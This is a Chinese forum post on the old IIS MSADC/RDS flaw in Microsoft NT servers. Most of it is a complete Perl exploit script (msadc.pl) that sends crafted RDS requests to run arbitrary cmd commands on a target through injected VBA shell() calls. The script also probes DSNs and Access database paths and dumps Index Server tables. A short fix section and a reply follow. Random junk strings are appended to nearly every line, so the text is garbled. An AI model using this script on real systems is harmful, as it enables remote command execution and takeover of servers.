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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) RQW<Sp~  
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涉及程序: cB4p.iO   
Microsoft NT server e2Df@8>  
O^4K o}  
描述: JDm7iJxc_  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 UP@-@syGw  
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详细: Y -G;;~  
如果你没有时间读详细内容的话,就删除: pd oCV  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ^vr`t9EE  
有关的安全问题就没有了。 k1_ 3\JO"6  
#3((f[  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 YojYb]y+ j  
nX-%qc"  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 B#K2?Et!t  
关于利用ODBC远程漏洞的描述,请参看: <m+$@:cO  
psAdYEGk!  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm :a y-2  
^?gs<-)B  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 j~`rc2n%  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp =@go;,"  
;T?4=15c  
这里不再论述。 I~NQt^sg  
pYaq1_<+  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: YJ~3eZQ  
qJLtqv  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 5Y(f7,JX  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! qY%{c-aMA  
9 e0Oj3!B  
ompkDl\E  
#将下面这段保存为txt文件,然后: "perl -x 文件名" IQQWp@w#8  
"P {T]  
#!perl ^n8r mh_%  
# NRZ>03w  
# MSADC/RDS 'usage' (aka exploit) script 3qBZzM O*  
# VU 8 ~hF  
# by rain.forest.puppy %)G]rta#  
# P]||Xbbp  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me X00!@ ^g  
# beta test and find errors! Zv)x-48  
8Qi@z Jq,  
use Socket; use Getopt::Std; 4O'X+dv^I  
getopts("e:vd:h:XR", \%args); Dl95Vo=1  
psZ #^@>mJ  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; H| 1O>p&  
xbhU:,o  
if (!defined $args{h} && !defined $args{R}) { Oa|'wh ug  
print qq~ VJ$UpqVm  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Ee-yP[2 *  
-h <host> = host you want to scan (ip or domain) PK|"+I0  
-d <seconds> = delay between calls, default 1 second Ae 3:"  
-X = dump Index Server path table, if available -A17tC20J1  
-v = verbose \t 04-  
-e = external dictionary file for step 5 f S(IN~  
Ye) F{WqZ#  
Or a -R will resume a command session <X1^w  
"=9kX`(1y  
~; exit;} x"QZ}28(t  
[p# }=&d  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; yZ]u{LJS  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} p@+r&Mg%W"  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} a'2^kds  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); #Jqa_$\.  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} o `N /w  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } &o$Pwk\p/  
cN\Fgbt  
if (!defined $args{R}){ $ret = &has_msadc; {expx<+4F  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 1C' _I  
Z/hgr|&}  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" +nT(>RJR  
. "cmd /c "; O5eTkKUc  
$in=<STDIN>; chomp $in; E/_I$<,_y  
$command="cmd /c " . $in ; XUp'wP  
P85@G 2  
if (defined $args{R}) {&load; exit;} BNe6q[ )W~  
wc#E:GJcK  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; X,"(G}KUA  
&try_btcustmr; L\Y4$e9bF8  
;}k9YlQrN  
print "\nStep 2: Trying to make our own DSN..."; 8Mf{6&F=  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; HRxA0y=  
hbg:}R=B<  
print "\nStep 3: Trying known DSNs..."; $D)Ajd;  
&known_dsn; !+# pGSk  
J"Z=`I)KON  
print "\nStep 4: Trying known .mdbs..."; 5x:dhkW  
&known_mdb; @fSBW+  
&?xZ Hr`  
if (defined $args{e}){ ]1(G:h\  
print "\nStep 5: Trying dictionary of DSN names..."; j6_tFJT  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } =xq+r]g6  
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print "Sorry Charley...maybe next time?\n"; 5p7?e3  
exit; $06[D91'  
 F6\Hqv  
############################################################################## QFtf.")[.  
X|w[:[P  
sub sendraw { # ripped and modded from whisker mWPA]g(  
sleep($delay); # it's a DoS on the server! At least on mine... l@OY8z-_  
my ($pstr)=@_; - .EH?{i  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || .sOEqwO}>  
die("Socket problems\n"); t5Oeb<REz  
if(connect(S,pack "SnA4x8",2,80,$target)){ ?|;q=p`t-  
select(S); $|=1; J*} warf&  
print $pstr; my @in=<S>; ]F4 .m  
select(STDOUT); close(S); L d;))e  
return @in; /:OSql5K*<  
} else { die("Can't connect...\n"); }} Z.D O 2=+=  
TppuEC>  
############################################################################## Lm{qFu  
$)O=3dNbo  
sub make_header { # make the HTTP request *VPj BzcH  
my $msadc=<<EOT R@8pKCL.  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 B3V;  
User-Agent: ACTIVEDATA HDY2<Hzc  
Host: $ip e 1$<,.>  
Content-Length: $clen aF41?.s  
Connection: Keep-Alive W1T% Q88  
e(~9JP9  
ADCClientVersion:01.06 7(S66  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 :K)7_]y  
#oX8EMqs<  
--!ADM!ROX!YOUR!WORLD! XDdF7i}  
Content-Type: application/x-varg `, lry7]  
Content-Length: $reqlen 74p=uQ  
5SNa~ kC&  
EOT bk}'wcX<+]  
; $msadc=~s/\n/\r\n/g; p9`!.~[  
return $msadc;} {%b*4x0?  
zv8AvNDK  
############################################################################## [PW\l+i  
%A^V@0K3  
sub make_req { # make the RDS request ac%6eW0#  
my ($switch, $p1, $p2)=@_; 7B)m/%>3s  
my $req=""; my $t1, $t2, $query, $dsn; 1z5Oi u  
FP_q?=~rFs  
if ($switch==1){ # this is the btcustmr.mdb query qLYz-P'ik  
$query="Select * from Customers where City=" . make_shell(); 4Nun-(q  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . _ / >JM0  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 6B=: P3Y  
h7"c_=w+  
elsif ($switch==2){ # this is general make table query j*' +f~ A  
$query="create table AZZ (B int, C varchar(10))"; p"UdD  
$dsn="$p1";} H6t'V%Ys  
_*m<Z;Et  
elsif ($switch==3){ # this is general exploit table query wJ%;\06  
$query="select * from AZZ where C=" . make_shell(); {)?:d6"  
$dsn="$p1";} CVt:tV  
 nLD1j  
elsif ($switch==4){ # attempt to hork file info from index server Nr,Q u8  
$query="select path from scope()"; cM hBOm*  
$dsn="Provider=MSIDXS;";} rijavZS6  
V*< `!w  
elsif ($switch==5){ # bad query qbsmB8rh  
$query="select"; y<5RV>"Vg  
$dsn="$p1";} $~+(si2  
!ay:h Iv  
$t1= make_unicode($query); p.^qB]%  
$t2= make_unicode($dsn); `]7==c #Y  
$req = "\x02\x00\x03\x00"; ?bH&F  
$req.= "\x08\x00" . pack ("S1", length($t1)); )4MM>Q  
$req.= "\x00\x00" . $t1 ; u _mtdB'  
$req.= "\x08\x00" . pack ("S1", length($t2)); [`4  
$req.= "\x00\x00" . $t2 ; iLC.?v2=  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; yCvP-?2  
return $req;} srCpgs]h  
QHDR* tB:{  
############################################################################## ]T:a&DHC  
yt@7l]I  
sub make_shell { # this makes the shell() statement cTJi8f=g  
return "'|shell(\"$command\")|'";} \5iMr[s  
RH}i=  
############################################################################## {U'\2Ge<m  
;0vCZaEF  
sub make_unicode { # quick little function to convert to unicode L~+/LV  
my ($in)=@_; my $out; NHL9qL"qk  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } hl]q6ZK!6  
return $out;} VtN1 [}  
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############################################################################## ZccvZl ;b  
9?XQB%44  
sub rdo_success { # checks for RDO return success (this is kludge) xWnOOE$i  
my (@in) = @_; my $base=content_start(@in); xt&4]M V  
if($in[$base]=~/multipart\/mixed/){ fg)VO6Wo&  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ?:42jp3  
return 0;} KcvstC`  
l+A)MJd oj  
############################################################################## xfa-   
4`GOBX1b.y  
sub make_dsn { # this makes a DSN for us S54q?sb_  
my @drives=("c","d","e","f"); TtQ'I}7q  
print "\nMaking DSN: "; 2O 2HmL  
foreach $drive (@drives) { 21$E.x 6  
print "$drive: "; ;=p3L<~c`K  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . b} 0G~oLP  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" rez )$  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); V1&qgAy~  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 8<)ZpB,7  
return 0 if $2 eq "404"; # not found/doesn't exist hYht8?6}m  
if($2 eq "200") { {vq| 0t\-  
foreach $line (@results) { 8c\\-{  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} M u i\E  
} return 0;} O joa3  
)_YB8jUR-X  
############################################################################## o(k{Ed  
VIHuo,  
sub verify_exists { ZZn$N-  
my ($page)=@_; r3B}d*v  
my @results=sendraw("GET $page HTTP/1.0\n\n"); uOO\!Hqq  
return $results[0];} DL*vF>v  
apOa E7|  
############################################################################## Kl,NL]]4*5  
JC MUK<CG  
sub try_btcustmr { V3>tW,z  
my @drives=("c","d","e","f"); h UC157  
my @dirs=("winnt","winnt35","winnt351","win","windows"); |M&4[ka}  
3K=%I+G(4  
foreach $dir (@dirs) { p0[+Zm{#l  
print "$dir -> "; # fun status so you can see progress .VCF[AleS  
foreach $drive (@drives) { D 5bPF~q  
print "$drive: "; # ditto byFO^pce  
$reqlen=length( make_req(1,$drive,$dir) ) - 28;  l*?_@  
$reqlenlen=length( "$reqlen" ); %tMx48'N  
$clen= 206 + $reqlenlen + $reqlen; lSg[7lt  
 W,|+Dl  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); FUarI5#fwF  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} kuI~lBWI  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} `a%MD>R_Lg  
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############################################################################## Gp{,v  
p$t|eu  
sub odbc_error { ;I&XG  
my (@in)=@_; my $base; v\[+  
my $base = content_start(@in); Cyos *  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this $g^D1zkuDT  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; cNbUr  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; a%A!Dz S  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ?-zuy US  
return $in[$base+4].$in[$base+5].$in[$base+6];} &+n9T?+b  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; En:>c  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 6`@b@Kd  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} DXo]O}VF  
S,j. ?u*!  
############################################################################## z %Bzf~N9  
@c-  
sub verbose { <PVwf`W.  
my ($in)=@_; | UlG@Mn  
return if !$verbose; o@BV&|  
print STDOUT "\n$in\n";} D#AqZS>B  
Q~tXT_  
############################################################################## i y8Jl  
0,nz*UDk  
sub save { W#%s0EN<_  
my ($p1, $p2, $p3, $p4)=@_; f1]zsn:  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; lxm/*^  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; R8cOb*D  
close OUT;} XC5/$3'M&  
AN:yL a!  
############################################################################## 8PzGUn;\  
j.ucv  
sub load { 6Cz O ztn  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; qVKdc*R-  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); @)BO`;*$fF  
@p=<IN>; close(IN); WR3,woo  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); `sCn4-$8  
$target= inet_aton($ip) || die("inet_aton problems"); |mP};&b  
print "Resuming to $ip ..."; ^$5 0[  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; A#6zI NK#B  
if($p[1]==1) { =gs-#\%  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; (-g*U#   
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; NJ)Dw`|%|)  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); ~_-]> SI  
if (rdo_success(@results)){print "Success!\n";} jM&di  
else { print "failed\n"; verbose(odbc_error(@results));}} +Q[uq!<VJk  
elsif ($p[1]==3){ L;* s-j6y  
if(run_query("$p[3]")){ #R{>@]x`  
print "Success!\n";} else { print "failed\n"; }} 3*& Y'/!  
elsif ($p[1]==4){ h~m,0nGO  
if(run_query($drvst . "$p[3]")){ .07`nIs"  
print "Success!\n"; } else { print "failed\n"; }} Z;%uDlcXI  
exit;} *X(:vET  
Km;}xke6  
############################################################################## 00.x*v  
i1|>JM[V  
sub create_table { .G8>UXX  
my ($in)=@_;  #D4  
$reqlen=length( make_req(2,$in,"") ) - 28;  v&|65[<  
$reqlenlen=length( "$reqlen" ); _Z Sp$>)/  
$clen= 206 + $reqlenlen + $reqlen; 4/Y?eUQ  
my @results=sendraw(make_header() . make_req(2,$in,"")); J\r\_P@;c  
return 1 if rdo_success(@results); ]bJz-6u#:  
my $temp= odbc_error(@results); verbose($temp); +U2lwd!j  
return 1 if $temp=~/Table 'AZZ' already exists/; 1!KROes4  
return 0;} ~PI2G 9  
E?G'F3i  
############################################################################## J7* o%W*V  
iCPm7AU  
sub known_dsn { bDM},(  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go MzD1sWmK  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", a(|6)w-  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Td'Mc-/  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); RbX9PF"|+  
cv aG[NF  
foreach $dSn (@dsns) { l[Z o,4*  
print "."; A<ds+0  
next if (!is_access("DSN=$dSn")); uYMn VE"  
if(create_table("DSN=$dSn")){ ]*#i_dho7  
print "$dSn successful\n"; >!t3~q1Cn  
if(run_query("DSN=$dSn")){ Ifn|wrx;g  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {  d 2d-Mk  
print "Something's borked. Use verbose next time\n";}}} print "\n";} $Lr& V~  
4AS%^&ah  
############################################################################## y)fMVD"(  
7a1o#O  
sub is_access {  yf:Vhr  
my ($in)=@_; /[<F f  
$reqlen=length( make_req(5,$in,"") ) - 28; ? `p/jA  
$reqlenlen=length( "$reqlen" ); o{G*7V@H  
$clen= 206 + $reqlenlen + $reqlen; &t[[4+Qt  
my @results=sendraw(make_header() . make_req(5,$in,"")); `9co7[Z  
my $temp= odbc_error(@results); UDh \%?j  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); (N}-]%#  
return 0;} gS5REC4I/  
!?nO0Ao-$  
############################################################################## Hw o _;fV  
LUbj^iQ9  
sub run_query { %dzt'uz  
my ($in)=@_; TP rq:"K  
$reqlen=length( make_req(3,$in,"") ) - 28; nzC *mPX8  
$reqlenlen=length( "$reqlen" ); uQIPnd(V  
$clen= 206 + $reqlenlen + $reqlen; cuN9R G  
my @results=sendraw(make_header() . make_req(3,$in,"")); Z*m^K%qJ  
return 1 if rdo_success(@results); A?H#bRAs  
my $temp= odbc_error(@results); verbose($temp); Hu"$ )V  
return 0;} 8>9Mh!t}(I  
Z)s !p  
############################################################################## hzsQK _;S  
2iG+Ek-?"  
sub known_mdb { &VGV0K3 Dp  
my @drives=("c","d","e","f","g"); uu.X>agg  
my @dirs=("winnt","winnt35","winnt351","win","windows"); bzFac5n)Q  
my $dir, $drive, $mdb; _y~6b{T  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; DK74s  
eUcb e33  
# this is sparse, because I don't know of many -qc'J<*^4  
my @sysmdbs=( "\\catroot\\icatalog.mdb", pi?/]}:  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", NPK;  
"\\system32\\certmdb.mdb", ga;nM#/  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% $@L;j  
k|/VNV( =0  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", nQ\`]_C  
"\\cfusion\\cfapps\\forums\\forums_.mdb", E7L>5z  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ^2~ZOP$A  
"\\cfusion\\cfapps\\security\\realm_.mdb", p AOKy  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 8"j$=T6;W  
"\\cfusion\\database\\cfexamples.mdb", c["1t1G  
"\\cfusion\\database\\cfsnippets.mdb", q[\3,Y  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ,^([aK  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ,<U= 7<NU  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 98Vv K?  
"\\cfusion\\database\\smpolicy.mdb", p(n0(}eVC'  
"\\cfusion\\database\cypress.mdb", f)*?Ji|5F  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", vwT1bw.  
"\\website\\cgi-win\\dbsample.mdb", J@2jx4   
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",  Zi~.  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" q`1tUd4G  
); #these are just #kv9$  
foreach $drive (@drives) { 9<u&27.  
foreach $dir (@dirs){ h-96 2(LG  
foreach $mdb (@sysmdbs) { >%tP"x{  
print "."; :^]Po$fl  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ v6 U!(x  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 9WG=3!-@  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ,/?J!W@m  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; oJTEN}fL  
} else { print "Something's borked. Use verbose next time\n"; }}}}} nLm'a_  
%unn{92)  
foreach $drive (@drives) { lwQ!sH[M  
foreach $mdb (@mdbs) { zDdo RK@  
print "."; ,7B7X)m{3  
if(create_table($drv . $drive . $dir . $mdb)){ P8YnKyI,.  
print "\n" . $drive . $dir . $mdb . " successful\n"; LA6XTgcu  
if(run_query($drv . $drive . $dir . $mdb)){ g=\(%zfsxr  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 6]1RxrAV  
} else { print "Something's borked. Use verbose next time\n"; }}}} L ci?  
} -dM~3'  
B&_:20^y~  
############################################################################## <.ZIhDiEl  
?Z{/0X)]|  
sub hork_idx { E!Q@AZ  
print "\nAttempting to dump Index Server tables...\n"; BbX$R`f  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; -9om,U`t  
$reqlen=length( make_req(4,"","") ) - 28; R|RGoGE6g  
$reqlenlen=length( "$reqlen" ); MGF !ZZ\  
$clen= 206 + $reqlenlen + $reqlen; JPDxzp  
my @results=sendraw2(make_header() . make_req(4,"","")); lf( +]k30  
if (rdo_success(@results)){ wrkw,H  
my $max=@results; my $c; my %d; &u:U"j  
for($c=19; $c<$max; $c++){ spA|[\Nl  
$results[$c]=~s/\x00//g; 96\FJHt Z  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; cIO/8D#zU  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; }@bp v  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; %g7j7$c  
$d{"$1$2"}="";} 16Qu{K  
foreach $c (keys %d){ print "$c\n"; } bSIY|/d+  
} else {print "Index server doesn't seem to be installed.\n"; }} N6[Z*5efR  
'gN[LERT  
############################################################################## tV=Qt[|@  
Aa9l-:R  
sub dsn_dict { | d*<4-:  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); $(62j0mS>  
while(<IN>){ @{IX do  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; pss')YP.  
next if (!is_access("DSN=$dSn")); UT@Qo}:  
if(create_table("DSN=$dSn")){ t XzuP_0  
print "$dSn successful\n"; <IZr..|O  
if(run_query("DSN=$dSn")){ t 9(,JC0  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { q,sO<1wAT\  
print "Something's borked. Use verbose next time\n";}}} D!* SA  
print "\n"; close(IN);} 3mo<O}}  
gkK(7=r%  
############################################################################## :tV"uWZFU  
bzG vnaTt  
sub sendraw2 { # ripped and modded from whisker J)g +I  
sleep($delay); # it's a DoS on the server! At least on mine... Lj /^cx  
my ($pstr)=@_; W(qK?"s2  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || n!zB+hW  
die("Socket problems\n"); <RxxGD  
if(connect(S,pack "SnA4x8",2,80,$target)){ Nn_b  
print "Connected. Getting data"; t]sk[  
open(OUT,">raw.out"); my @in; }D1? Z7p  
select(S); $|=1; print $pstr; HxR5&o  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} |$tF{\  
close(OUT); select(STDOUT); close(S); return @in; 9uxoMjR-  
} else { die("Can't connect...\n"); }} <1vogUDW  
T7qp ({v?Q  
############################################################################## &kf \[|y  
|3k r*#  
sub content_start { # this will take in the server headers VnN(lJ  
my (@in)=@_; my $c; Y3|_&\ v6  
for ($c=1;$c<500;$c++) { Oh}52=  
if($in[$c] =~/^\x0d\x0a/){ }G(#jOYk  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } `$"{-  
else { return $c+1; }}} c CjN8<  
return -1;} # it should never get here actually =8vwaJ  
O4nA ?bA  
############################################################################## fm#7}Y  
D8k >f ]  
sub funky { "vYjL&4h  
my (@in)=@_; my $error=odbc_error(@in); N8T.Ye N  
if($error=~/ADO could not find the specified provider/){ s|WcJV  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; QfjoHeG7  
exit;} ]@_|A, ]  
if($error=~/A Handler is required/){ ?z.  Z_A&  
print "\nServer has custom handler filters (they most likely are patched)\n"; Z{u]qI{l  
exit;} `m V(:  
if($error=~/specified Handler has denied Access/){ bz:En'2>F  
print "\nServer has custom handler filters (they most likely are patched)\n"; DFwiBB6  
exit;}} oVl:g:K40  
b 2\J<Nw  
############################################################################## eLH=PDdO  
A _7I0^  
sub has_msadc { `MT.<5H  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); P{RGW.Ci@  
my $base=content_start(@results); ,H|K3nh  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); pw))9~XU  
return 0;} u$qasII  
Yi-,Pb?   
######################## {DVMs|5;^  
5/hgWG6.t  
Us[F@  
解决方案: _or_Vw!  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll g6gwNC:aF  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 8VpmcGvc3  
MO1H?U hx  
拿出来充数 哈哈
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